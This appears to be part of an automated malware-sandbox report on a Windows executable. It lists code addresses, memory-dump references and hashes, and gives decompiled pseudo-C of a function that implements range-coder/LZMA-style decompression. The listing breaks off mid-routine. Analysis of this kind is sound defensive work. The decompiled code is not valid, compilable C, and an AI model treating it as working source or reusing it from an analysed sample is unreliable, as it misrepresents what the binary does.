0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406696
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406617
0x00406614
0x00000000
0x00406369

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 204a14aa4723f8bacec733d7555320540fe203445ac57d520a52ca53e11fdb0c
Instruction ID: aa40489b15165fca9e2d73c9723ecf3d5b4a768092768a0400057c9dc9ec6b69
Opcode Fuzzy Hash: 204a14aa4723f8bacec733d7555320540fe203445ac57d520a52ca53e11fdb0c
Instruction Fuzzy Hash: F6714471D04229CFDF28CF98C844BAEBBB1FB44305F25816AD816BB281D7785A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004062B1, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004062B1() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
